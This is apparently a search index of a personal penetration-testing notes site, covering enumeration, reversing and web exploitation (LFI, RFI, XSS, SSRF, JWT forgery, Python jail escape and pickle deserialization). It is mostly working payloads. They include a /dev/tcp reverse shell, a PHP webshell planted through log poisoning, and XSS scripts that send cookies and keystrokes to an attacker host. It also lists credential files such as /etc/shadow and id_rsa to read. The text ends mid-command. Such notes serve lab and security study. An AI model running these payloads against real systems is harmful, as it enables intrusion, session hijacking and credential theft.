`--traceroute`\n","description":"","tags":[],"title":"nmap","uri":"/enumeration/docs/nmap.html"},{"content":"Port Knocking\n* Open filtered port behind a firewall by knocking nicely\n\n## Usage\n\n* `knockd` \n```sh\nknock <target-IP> <magicWords>\n```\nor\n* [arch wiki nmap script](https://wiki.archlinux.org/title/Port_knocking)\n* `nc -z`\n","description":"","tags":[],"title":"Port Knocking","uri":"/enumeration/docs/port_knocking.html"},{"content":"NiktoScan web server vulnerabilities and more.\n\n## mmap Input\n* Pipe or pre run nmap\n```sh\nnmap -p80 172.16.0.0/24 -oG - | nikto -h -\n```\n```sh\nnmap -oG -Pn -p-10000 10.10.214.141 | nikto -h 10.10.214.141 -p -\n```\n\n# Usage \n\n* Example\n```\nnikto -h http://example.com i -p 80,8080\n```\n```sh\nnikto -id <user>:<password> -h http://example.com:1234/manager/html\n```\n## Plugins\n```sh\nnikto -h http://example.com -Plugins apacheusers\n```\n\n* List all plugins\n```sh\nnikto -list-plugins\n```\n\n \n","description":"","tags":[],"title":"Nikto","uri":"/enumeration/docs/nikto.html"},{"content":"SNMP Enumeration\n* Find community strings\n```sh\nonesixtyone $TARGET_IP -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt\n```\n* Query users\n```\nsnmpwalk -v2c -c <community_string> $TARGET_IP 1.3.6.1.4.1.77.1.2.25\n```\n\n","description":"","tags":[],"title":"SNMP Enumeration","uri":"/enumeration/docs/snmp/onesixtyone.html"},{"content":"snmpcheck\n* [git repo](https://gitlab.com/kalilinux/packages/snmpcheck.git)\n* Ruby script, clone and\n```sh\ncd snmpcheck\ngem install snmp\nchmod 775 snmpcheck-<version>.rb\n```\n\n## Usage\n\n```sh\n./snmpcheck-<version>.rb $TARGET_IP -c <community-string>\n```\n","description":"","tags":[],"title":"snmpcheck","uri":"/enumeration/docs/snmp/snmpcheck.html"},{"content":"Misc\n* `Dalvik` is the JVM of Android\n\n## SMALI\n\n* `SMALI` is the byte code derived from Java.\n* Types\n```\nV void\nZ boolean\nB byte\nS short\nC char\nF float\nI int\nJ long\nD double\n[ array\n```\n\n### Registers\n* Registers are 32 bits\n* Type long and double use two registers 32+32=64 bits\n* `.registers`, total number of regs in method\n* `.locals`, non parameter regs in method\n* Arguments of a method are put into registers from highest to lowest.\n* The object itself is a parameter to its method.\n\n* Register naming schemes are\n* Normal local register are name v0, v1, v2 ...\n* Parameter register are a second naming on top, e.g.v2 and p0 or v3 and p1 are the same registers.\n\n\n## APK Structure\n\n* `AndroidManifest.xml`, binary XML\n* `classes.dex`, app code compilation as dex\n* `resource.arsc`, precompiled resources in XML\n* `res`, resource dir \n* `assets` app assets\n* `lib`, libraries\n* `META/INF`, contains metadata file `MANIFEST.MF` and signature of the apk.\n\n## Tools\n\n* `jadx -d <outdir> <apk or dex>` as a decompiler\n* dex2jar to convert apk to jar\n```sh\nd2j-dex2jar.sh /path/application.apk\n```\n* Dex to smali with `d2j-dex2smali`\n* jd-gui as decompiler\n* `apktool` smali source from apk\n\n* [Firebase scanner](https://github.com/shivsahni/FireBaseScanner.git)\n* [Mara reversing framework](https://github.com/xtiankisutsa/MARA_Framework.git) \n* [Mobile Security Framework](https://github.com/MobSF/Mobile-Security-Framework-MobSF.git)\n* Proguard deobfuscates code\n* [PID Cat log reader](https://github.com/JakeWharton/pidcat.git)\n* Burpsuite listener on Android emulator\n* [Drozer](https://github.com/FSecureLABS/drozer)\n```sh\nadb forward tcp:31415 tcp:31415\ndrozer console connect\nrun app.package.list -> see all the packages installed\nrun app.package.info -a -> view package information.\nrun app.package.attacksurface package_name\nrun app.activity.info -f package_name\nrun app.activity.start --component package name component_name\n```\n```sh\nrun app.provider.info -a package_name\nrun scanner.provider.finduris -a package_name\nrun app.provider.query uri\nrun app.provider.update uri --selection conditions selection_arg column data\nrun scanner.provider.sqltables -a package_name\nrun scanner.provider.injection -a package_name\nrun scanner.provider.traversal -a package_name\n```\n\n","description":"","tags":[],"title":"Misc","uri":"/reverse engineering/android/misc.html"},{"content":"Krakatau\n## Usage\n* Get bytecode from `jar` file\n```sh\nkrakatau-disassemble -r file.jar -out dissassemble.zip\n```\n* Generate bytecode\n```sh\nkrakatau-assemble -out result.jar -r dissassembled/\n```\n* Do changes to the bytecode\n* Compile jar file\n```sh\njava -cp result.jar <fileNameOfMainClass>\n```\n\n","description":"","tags":[],"title":"Krakatau","uri":"/reverse engineering/java/krakatau.html"},{"content":"Deobfuscation\n* Find a deobfuscator like [de4dot](https://github.com/de4dot/de4dot.git) for e.g. deobfuscating dotfuscator \n* In case of dotnet: Do not only use ghidra for reversing, use [ILSpy](https://github.com/icsharpcode/ILSpy.git) as well\n","description":"","tags":[],"title":"Deobfuscation","uri":"/reverse engineering/docs/deobfuscation.html"},{"content":"Supervisory Control and Data Acquisition (SCADA)\n* SCADA works as an aggregatio of the following systems\n * __Programmable Logic Controllers (PLC)__, monitoring sensors and controlling devices.\n * __Remote Terminal Unit (RTU)__, use for wide area telemetry\n * __Human Machine Interface (HMI)__, supervisory through an operator. Interaction through human user input.\n * __Communication network__ \n\n* Security is no first class citizen\n\n## Modbus\n\n* Developed by Modicon\n* Master/Slave, latter has an 8 bit address.\n* RS-485 Connector\n* Data registers 16 bit\n * Input register, 16 bit ro \n * Hold register, rw\n * Coil register, 1 bit rw\n * Discrete register, 1bit ro \n\n### Function Codes\n* [Modbus101](https://www.csimn.com/CSI_pages/Modbus101.html)\n* RTU request inside of TCP segments, port 502\n\n* 1\t__Read Coil__\n* 2\t__Read Discrete Input__\n* 3\t__Read Holding Registers__\n* 4\t__Read Input Registers__\n* 5\t__Write Single Coil__\n* 6\t__Write Single Holding Register__\n* 15 __Write Multiple Coils__\n* 16 __Write Multiple Holding Registers__\n\n\n","description":"","tags":[],"title":"Supervisory Control and Data Acquisition (SCADA)","uri":"/reverse engineering/docs/scada.html"},{"content":"DLL Reversing\n* Start DLL on its own with the help a wrapper\n```C#\nHMODULE dll = LoadLibraryA(\"DLL.DLL\");\ntypedef void(WINAPI* Add_TypeDef)(int, int); // Add(int x, int y)\nAdd_TypeDef Add = (Add_TypeDef)GetProcAddress(dll, \"Add_MangledName\");\nAdd(1, 2);\n```\n","description":"","tags":[],"title":"DLL Reversing","uri":"/reverse engineering/docs/dll_reversing.html"},{"content":"Reversing Firmware\n## Tools\n* binwalk\n* unlzma\n* tar\n* [fat](https://github.com/attify/firmware-analysis-toolkit.git)\n * Create usable environment and start firmware inside it\n ```sh\n ./fat.py <firmware>\n ```\n* [Jefferson](https://github.com/sviehb/jefferson) or AUR package `jefferson-git`\n\n## Usage\n* Check image via `strings`\n* Check CRC via `cksum -a crc <image>`\n* Use `binwalk` to extract. There are to methods\n * `-e` extract by offset\n * `--dd=\".*\"` by file extension\n\n### Mount JFFS2 File\n* Use kernel where `CONFIG_MTD_RAM` is set. Using Arch this is any kernel before `5.10`\n```sh\nrm -rf /dev/mtdblock0\nmknod /dev/mtdblock0 b 31 0\nmkdir /mnt/jffs2\nmodprobe jffs2\nmodprobe mtdram\nmodprobe mtdblock\ndd if=<jffs2File> of=/dev/mtdblock0\nmount -t jffs2 /dev/mtdblock0 /mnt/jffs2/\n```\n\n## Tips & Tricks\n* Watch out for `HNAP` and `JNAP` as [an attack vector](https://routersecurity.org/hnap.php)\n","description":"","tags":[],"title":"Reversing Firmware","uri":"/reverse engineering/docs/firmware.html"},{"content":"Function Decoration\n* Done to imported functions in order to do interpositioning and identify the variants of the function.\n* [name mangling](https://en.wikipedia.org/wiki/Name_mangling)\n","description":"","tags":[],"title":"Function Decoration","uri":"/reverse engineering/docs/function_mangling.html"},{"content":"Escaping Jails\n* [Aneesh's blog](https://anee.me/escaping-python-jails-849c65cf306e?gi=a7d3bac81831)\n\n## Usage\n\n* Circumvent via `__builtins__`\n```python\ndir(__builtins__)\n```\n```python\n__builtins__.__dict__\n```\n* Call builtins\n```python\n__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash -p')\n```\n\n","description":"","tags":[],"title":"Escaping Jails","uri":"/exploit/python/jail_escape.html"},{"content":"Scapy\n* [Doc](https://scapy.readthedocs.io/en/latest/introduction.html)\n\n","description":"","tags":[],"title":"Scapy","uri":"/exploit/python/scapy.html"},{"content":"Decompile PYC\n```sh\nuncompyle6 file.pyc\n```\n","description":"","tags":[],"title":"Decompile PYC","uri":"/exploit/python/pyc.html"},{"content":"Library Hijacking\n* [Article](https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8)\n\n## Interpreter might be called invoking sudo \n* Write into a library called inside the script\n\n## Path call order of packages\n* Order of paths which are invoked to find packages may be found via\n```sh\npython -c 'import sys; print(\"\\n\".join(sys.path))'\n```\n* Higher order directory on a path may have write permission. Insert a similar named package that gets called in the script.\n* The highest order is `pwd`\n\n## Redirecting PYTHONPATH \n* `SETENV` may be set while loading script through `sudo`\n```sh\nsudo PYTHONPATH=/tmp/ /usr/bin/python3.6 <script.py>\n```\n\n\n","description":"","tags":[],"title":"Library Hijacking","uri":"/exploit/python/lib_hijack.html"},{"content":"Code Injection\n* Python's `input()`, `exec()` and `eval()` makes it possible\n\n## Usage\n\n* Payload example\n```python\neval(\"__import__('os').system('bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1')#\")\n```\n","description":"","tags":[],"title":"Code Injection","uri":"/exploit/python/code_injection.html"},{"content":"Pwntools\n* [Docs](https://docs.pwntools.com/en/stable/)\n","description":"","tags":[],"title":"Pwntools","uri":"/exploit/python/pwntools.html"},{"content":"Pickle\n## Payload\n* Inject payload \n```python\nimport pickle\nimport os\nimport base64\nclass evil_object(object):\n def __reduce__(self):\n return(os.system, ('/bin/bash',))\nx = evil_object()\nx = evil_object()\ny = pickle.dumps(x)\nbase64.b64encode(y)\n```\n\n* Dump serialized object via\n```python\npickle.dump(SerializedPickle(), open('pickled.out', 'wb')\n```\n","description":"","tags":[],"title":"Pickle","uri":"/exploit/python/pickle.html"},{"content":"Heartbleed\n* SSL V1.0.1 and V1.0.1f\n* Client sends msg, msglength\n* If msg is 0 and the msglength is longer, return from server is arbitrary memory content\n\n* [Heartbleed](https://heartbleed.com)\n\n","description":"","tags":[],"title":"Heartbleed","uri":"/exploit/ssl_tls/heartbleed.html"},{"content":"HTTP Header Injection & Cache Poisoning\n## References\n\n* [Portswigger]https://portswigger.net/web-security/host-header\n* [Spring project](https://github.com/spring-projects/spring-security/issues/4310)\n* [Skeletonscribe.com](https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)\n\n","description":"","tags":[],"title":"HTTP Header Injection & Cache Poisoning","uri":"/exploit/web/http_header_injection.html"},{"content":"URL Forgery\n* Just change parts of the URL\n","description":"","tags":[],"title":"URL Forgery","uri":"/exploit/web/url_forgery.html"},{"content":"Local File InclusionTo test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like `https://test.com/?file=robots.txt`, the file may be changed.\n\n* [Acunetix article](https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/)\n## PHP Functions\n* Functions provoking an LFI\n```php\ninclude()\nrequire()\ninclude_once ()\nrequire_once()\n```\n\n## Usage\n\n* Exploit URL parameter by including other files.\n```\nhttp://example.com/home?page=about.html\nhttp://example.com/home?page=/etc/passwd\n```\n * changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)\n ```\n http://example.com/home?page=../../../../etc/passwd\n ```\n or\n ```\n http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa\n ```\n\n### Log Poisoning\n* Inject malicious code into logfiles before using path traversal to open the logfile and trigger the rce.\n* `www-data` needs read & write permisson in order to do so.\n* Include php code into the `User-Agent` header of the HTTP request. For example a GET parameter to deliver system commandsas follows\n```sh\ncurl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'\n```\n\n* Follow up with a request to\n\n```HTTP\ncurl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'\n```\n\n### /proc/self/fd\n* [outpost24](https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2)\n* Log poisoning and opening logfile via `/proc/self/fd/xx`.\n\n## Files of Interest\n* `/etc/issue`\n* `/etc/profile`\n* `/proc/version`\n* `/etc/passwd`\n* `/etc/apache2/.htpasswd`\n* `/etc/shadow`\n* `/etc/group`\n* `/etc/motd`\n* `/etc/mysql/my.cnf`\n* `/root/.bash_history`\n* `/var/log/dmessage`\n* `/var/mail/root`\n* `/root/.ssh/id_rsa`\n* `/var/log/apache2/access.log`\n* `C:\\boot.ini`\n* `/proc/self/fd/xx`\n* `/proc/version`\n* `/proc/cmdline`\n* `/proc/[0-9]*/fd/[0-9]*`\n\n* `sess_<cookieValue>` if the location of the session file is known. Some paths are\n```sh\nc:\\Windows\\Temp\n/tmp/\n/var/lib/php5\n/var/lib/php/session\n```\n\n### Base64 Encoding via PHP\n* Circumvent filter via encoding local files included ins a GET parameter value\n* __Read PHP files through encoding them, so they won't be executed__\n```http\ncurl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php\ncurl http://test.com/test.php?file=php://filter/read=string.rot13/resource=/etc/passwd\n```\n* Use encoded data as input through the parameter\n```sh\ncurl http://test.com/test.php?file=data://text/plain;base64,dGhlIGFuc3dlciBpcyA0Mgo=\n```\n\n## Tricks\n\n* Terminate query with `%00` or `0x00` does the trick until PHP 5.3.4\n* Terminate query with `/.`\n* `..//..//..//file`, double slashes\n* URL encode path\n","description":"","tags":[],"title":"Local File Inclusion","uri":"/exploit/web/local_file_inclusion.html"},{"content":"CSRF\n## Protection\n\n* May be a hidden field with an encoded value\n```html\n <input type=\"hidden\" name=\"csrf_protect\" value=\"eyJk..n0=\">\n```\n* This field need to be removed in order to do some csrf shenanigans\n* Decode the value to reproduce some valid content.\n\n","description":"","tags":[],"title":"CSRF","uri":"/exploit/web/csrf.html"},{"content":"Command Injection\n* Blind injection\n* Verbose injection\n\n## Blind Injection\n* Check via ping, open a `tcpdump` on ICMP to listen for packets\n* Redirect to logfile and read\n* Use `sleep` or `timeout` to check if ci is possible in general\n\n## Functions\n* Watch out for \n * `eval()`\n * `exec()`\n * `passthru()`\n * `system()`\n \n\n\n","description":"","tags":[],"title":"Command Injection","uri":"/exploit/web/command_injection.html"},{"content":"Re-registration\nLet's understand this with the help of an example, say there is an existing user with the name admin and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter \" admin\"(notice the space in the starting). Now when you enter that in the username field and enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. And that new user will also be able to see all the content present under the user admin.\n\n# Usage\n* Re-register. The name is taken, that's the point, but alter the string\n```\n try to register a user name darren, you'll see that user already exists so then try to register a user \" darren\" and you'll see that you are now logged in and will be able to see the content present only in Darren's account which in our case is the flag that you need to retrieve.\n```\n","description":"","tags":[],"title":"Re-registration","uri":"/exploit/web/re_registration.html"},{"content":"Remote File Inclusion\n\n## Usage\n* Use a GET query parameter to include an attacker URL. \n```sh\nhttps://test.com/files.php?file=http://<attacker-IP>:<attacker-Port>/reverse_shell.txt\n```\n* Payload may be PHP for example, but should not end in executable file extensions. The payload is executed locally, otherwise.\n","description":"","tags":[],"title":"Remote File Inclusion","uri":"/exploit/web/remote_file_inclusion.html"},{"content":"Wordpress\n## ure_user_roles\n\n* [exploitdb 44595](https://exploit-db.com/exploits/44595.)\n* [windsordeveloper](https://windsorwebdeveloper.com/dc-6-vulnhub-walkthrough/)\n\n* Update user profile and append POST parameter to gain administrator role on user\n```sh\n&ure_other_roles=administrator\n```\n\n## Shell Upload\n\n* Msfconsole\n```sh\nexploit/unix/webapp/wp_admin_shell_upload\n```\n\n## Template & Plugin Editing\n\n* If template injection does not work, use plugin injection on `akismet.php`\n","description":"","tags":[],"title":"Wordpress","uri":"/exploit/web/wordpress.html"},{"content":"We'll look at this as a step-by-step process. Let's say that we've been given a website to perform a security audit on.\n1. The first thing we would do is take a look at the website as a whole. Using browser extensions such as the aforementioned Wappalyzer (or by hand) we would look for indicators of what languages and frameworks the web application might have been built with. Be aware that Wappalyzer is not always 100% accurate. A good start to enumerating this manually would be by making a request to the website and intercepting the response with Burpsuite. Headers such as server or x-powered-by can be used to gain information about the server. We would also be looking for vectors of attack, like, for example, an upload page.\n2. Having found an upload page, we would then aim to inspect it further. Looking at the source code for client-side scripts to determine if there are any client-side filters to bypass would be a good thing to start with, as this is completely in our control.\n3. We would then attempt a completely innocent file upload. From here we would look to see how our file is accessed. In other words, can we access it directly in an uploads folder? Is it embedded in a page somewhere? What's the naming scheme of the website? This is where tools such as Gobuster might come in if the location is not immediately obvious. This step is extremely important as it not only improves our knowledge of the virtual landscape we're attacking, it also gives us a baseline \"accepted\" file which we can base further testing on.\n * An important Gobuster switch here is the -x switch, which can be used to look for files with specific extensions. For example, if you added -x php,txt,html to your Gobuster command, the tool would append .php, .txt, and .html to each word in the selected wordlist, one at a time. This can be very useful if you've managed to upload a payload and the server is changing the name of uploaded files.\n4. Having ascertained how and where our uploaded files can be accessed, we would then attempt a malicious file upload, bypassing any client-side filters we found in step two. We would expect our upload to be stopped by a server side filter, but the error message that it gives us can be extremely useful in determining our next steps.\n\n\nAssuming that our malicious file upload has been stopped by the server, here are some ways to ascertain what kind of server-side filter may be in place:\n\n * If you can successfully upload a file with a totally invalid file extension (e.g. testingimage.invalidfileextension) then the chances are that the server is using an extension blacklist to filter out executable files. If this upload fails then any extension filter will be operating on a whitelist.\n * Try re-uploading your originally accepted innocent file, but this time change the magic number of the file to be something that you would expect to be filtered. If the upload fails then you know that the server is using a magic number based filter.\n * As with the previous point, try to upload your innocent file, but intercept the request with Burpsuite and change the MIME type of the upload to something that you would expect to be filtered. If the upload fails then you know that the server is filtering based on MIME types.\n * Enumerating file length filters is a case of uploading a small file, then uploading progressively bigger files until you hit the filter. At that point you'll know what the acceptable limit is. If you're very lucky then the error message of original upload may outright tell you what the size limit is. Be aware that a small file length limit may prevent you from uploading the reverse shell we've been using so far.\n\n\n","description":"","tags":[],"title":"We'll look at this as a step-by-step process. Let's say that we've been given a website to perform a security audit on.","uri":"/exploit/web/methodology.html"},{"content":"Cross-Site ScriptingA web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.\n\n## Stored XSS\nThis is where a malicious string originates from the websites database. Such as (stored in a db)\n* User profiles\n* Chats and comments\n* Part of link\n\n* Blind xss is stored inside the app but effects are only visible by proxy, [xsshunter](https://xsshunter.com/).\n\n### Examples\n* Sanity test by changing DOM content\n```\n<script>document.getElementById('myIdName').innerHTML=\"napf\"</script>\n```\n\n* Cookie stealing\n\n```javascript\n<script>document.location='/log/'+document.cookie</script>\n```\n * Navigte to `/logs` and take sid\n\n* Open nc port and collect cookies\n```javascript\n<script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>\n<script>var i=new Image;i.src=\"http://<attacker-IP>:<attacker-Port>/?\"+document.cookie;</script>\n\n```\n\n## Reflected XSS\nIn a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.\n* URL parameters inside GET queries\n* File paths\n\n### Usage\nAs script inside parameter\n```sh\nhttp://example.com/search?keyword=<script>...</script>\n```\n* Show server IP\n```\nhttp://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>\n```\n* Session stealing, base64 encoded\n```javascript\n<script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>\n```\n * open netcat binder to catch the http queries\n\n## DOM based XSS\nWith DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:\n```javascript\nvar keyword = document.querySelector('#search')\nkeyword.innerHTML = <script>...</script>\n```\n\n### Usage\n* Find the sub-object inside the document\n```javascript\ntest\" onmouseover=\"alert('YO!')\"\n```\n* Show cookie\n```\ntest\" onmouseover=\"alert(document.cookie)\"\n```\n## Bypass Filters\n* `<script>` sanitizing\n```HTML\n<img src=x onerror=alert('Hello');>\n```\nor \n```javascript\n<</script>script>alert(\"1\");<</script>/script>\n```\n* `alert()` sanitizing\n```javascript\n0\\\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>\"-confirm(3)-\"\n```\nor\n```javascript\n0\\\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>\"-confirm(3)-\"\n```\n* Strings, here its `Hello`\n```javascript\n<style>@keyframes slidein {}</style><xss style=\"animation-duration:1s;animation-name:slidein;animation-iteration-count:2\" onanimationiteration=\"alert('Hello')\"></xss>\n```\n\n## Portscanner via Javascript\n* By requesting the favicon, checking port 80\n```javascript\n <script>\n\u2003for (let i = 0; i < 256; i++) {\n\u2003\u2003let ip = '192.168.0.' + i\n\n\u2003\u2003let code = '<img src=\"http://' + ip + '/favicon.ico\" onload=\"this.onerror=null; this.src=/log/' + ip + '\">'\n\u2003\u2003document.body.innerHTML += code\n\u2003}\n</script> \n```\n\n* [pdp's portscanner](https://www.gnucitizen.org/files/2006/08/jsportscanner.js)\n\n\n## Keylogger\n```javascript\n <script type=\"text/javascript\">\n\u2003let l = \"\"; // Variable to store key-strokes in\n\u2003document.onkeypress = function (e) { // Event to listen for key presses\n\u2003\u2003\u2003l += e.key; // If user types, log it to the l variable\n\u2003\u2003\u2003console.log(l); // update this line to post to your own server\n\u2003}\n</script> \n```\n* base64 encoded keylogger\n```javascript\n<script>\ndocument.onkeypress = function (e) {\n fetch('http://<attacker-IP>/log?key=' + btoa(e.key) );\n}\n</script>\n```\n\n## Tab Nabbing\n\n* Redirection of source after opening a tab through a provisioned link and back referencing \n* [Hacktricks Tabnabbing](https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing)\n\n\n## Tricks and Tips\n* Use Polyglots\n* [XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)\n* Close the a vulnerable, exploitable tag and open a script tag\n```html\n</tag><script>alert(1);</script>\n```\n\n## Protection Methods\n\nThere are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.\n\n1. Escaping - Escape all user input. This means any data your application has received is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.\n\n2. Validating Input - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.\n\n3. Sanitising - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helpful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity <\n\n\n","description":"","tags":[],"title":"Cross-Site Scripting","uri":"/exploit/web/xss.html"},{"content":"Cookie Tampering\n## Components\n\n* Separator is `;`\n* Name\n* Value\n* Domain\n* Path\n* Expires/Maxage\n* Size\n* HttpOnly, no access by client side scripts\n* Secure, HTTPs only\n* SameSite, cookie sent through cross-site request\n* SameParty, firt party requests only\n* Priority\n\n## Response\n* May look like this\n```sh\nSet-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly\n```\n","description":"","tags":[],"title":"Cookie Tampering","uri":"/exploit/web/cookie_tampering.html"},{"content":"XPATH injection\n* Similar to SQL injection, it is a input/parameter injection\n\n* [payloads all the things XPATH](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)\n* Use [lanfran's payload list](https://lanfran02.github.io/posts/cold_vvars/XPATH_list.txt) as burpsuite sniper payload\n","description":"","tags":[],"title":"XPATH injection","uri":"/exploit/web/xpath.html"},{"content":"SSRF through iframe\n* [taken from Jomar's Website](https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/)\n* Upload iframe with attacker server and php code ready to be executed. Redirect to a local file on the server\n```php\n<?php\n$loc = \"http://127.0.0.1/\";\n\nif(isset($_GET['a'])){\n $loc = $_GET['a'];\n}\nheader('Location: '.$loc);\n?>\n```\n* Payload looks like this\n```html\n<iframe src=\"http://$ATTACKER_IP:4711/ssrf.php?a=file:///etc/passwd\"/>\n```\n* Start a php adhoc server and run it\n```php\nphp -S 0.0.0.0:4711\n```\n","description":"","tags":[],"title":"SSRF through iframe","uri":"/exploit/web/ssrf/iframe.html"},{"content":"Server Side Request Forgery (SSRF)is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls. The attack can either be blind or data is returned to the attacker dire tly.\n\n## Usage\n\n### Sanity Test Service\nTest if input is sanitized by exploiting function. Here it is IP:PORT finding service. Test for localhost ports.\n```URL\nhttp://127.0.0.1:3306\nhttp://localhost:5432\nhttp://0.0.0.0:53\n```\n\n* IPv6\n```URL\nhttp://[::]:3306\nhttp://:::3006\n```\n\n* Cloud info in Link Local IP range `169.254.0.0/16`\n```URL\n169.254.169.254 --> AWS info\n169.254.169.253 --> DNS AWS VPC\n169.254.169.123 --> Stratum 3 NTP\n127.0.0.1:53 --> systemd DNS\n```\n\n* [Changing input format into hex or encoded](https://gist.github.com/mzfr/fd9959bea8e7965d851871d09374bb72)\n\n### Reading files\n```\nfile:///etc/passwd\n```\n\n### Request Forgery through GET parameters\n* Request app server through parameter \n```sh\nhttp://<ssrf-Server>/?url=http://<AppServer>/secret/url\n```\n* Request remote resources, or path traversal on remote resource\n```sh\nhttp://<ssrf-Server>/?url=/item?id=42\nhttp://<ssrf-Server>/?url=../../etc/passwd\n```\n* Request subdomain URL and cut following unnecessary parameters through `&x=&id=42`. Parameter `x` does not exist. So, it will be ignored\n```sh\nhttp://<ssrf-Server>/?url=db.test.com/shop/item?secret=key&x=&id=42\n```\n\n### HTML Form \nUser input through POST form on websites may open files (other MIME types) from server resources. Updating the path reference may yield unintended file content.\n```HTML\n<input type=\"radio\" name=\"avatar\" value=\"assets/avatars/6.png\">\n```\nThis may be used for path traversal\n```HTML\n<input type=\"radio\" name=\"avatar\" value=\"x/../private\">\n```\nCheck return value of the form for result.\n\n## Tricks\n* `localtest.me` resolves to `127.0.0.1`, may be used to extend a domain inside a parameter to redirect to localhost.\n\n## Tools\n* [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#file)\n* https://requestbin.com\n","description":"","tags":[],"title":"Server Side Request Forgery (SSRF)","uri":"/exploit/web/ssrf/ssrf.html"},{"content":"JSON Web Token\n## Build up\n```sh\nheader.payload.signature\n```\n\n1. **Header**: This consists of the algorithm used and the type of the token.\n```sh\n{ \"alg\": \"HS256\", \"typ\": \"JWT\"}\n```\n\n2. **Payload**: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.\n\n\n3. **Signature**: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)\n\n\n## NONE Algorithm Vulnerability\n* Example with `alg: NONE`, so no third part is needed.\n```sh\neyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.\n```\n* Encoded headers are as follows\n * `{\"type\": \"JWT\", \"alg\": \"none\"}`\n ```\n eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0\n ```\n * `{\"typ\":\"JWT\",\"alg\":\"NONE\"}` with trailing `\\n`\n ```\n eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K\n ```\n\n## Brute Force\n```python\nHMACSHA256( base64UrlEncode(header) + \".\" + base64UrlEncode(payload), secret)\n```\n* [jwt-cracker](https://github.com/lmammino/jwt-cracker.git)\n\n|Parameter|Details|\n|---------|-------|\n|Token | The HS256 JWT Token|\n|Alphabet |Alphabet used to crack (default:\"abcdefghijklmnopqrstuvwxyz\")|\n|max-length|Secret max length (default: 12)|\n\n```sh\n[whackx@manbox jwt-cracker]$ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz 4\nAttempts: 100000\nAttempts: 200000\nAttempts: 300000\nSECRET FOUND: pass\nTime taken (sec): 11.605\nAttempts: 346830\n```\n## HS256 Vulnerability\nIt is calculated by using server `K_pub`, which may be gained via content of the server cert\n\n### Build Up\n* Changing the header to `{\"typ\": \"JWT\", \"alg\": \"HS256\"}`, spaces inbetween values.\n```sh\n$ echo -n '{\"typ\": \"JWT\", \"alg\": \"HS256\"}' | base64\neyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9\n```\n\n* Encoding the payload, no spaces inbetween. Cut `==` at the end.\n```sh\necho -n '{\"iss\":\"http://localhost\",\"iat\":1585323784,\"exp\":1585323904,\"data\":{\"hello\":\"world\"}}' | 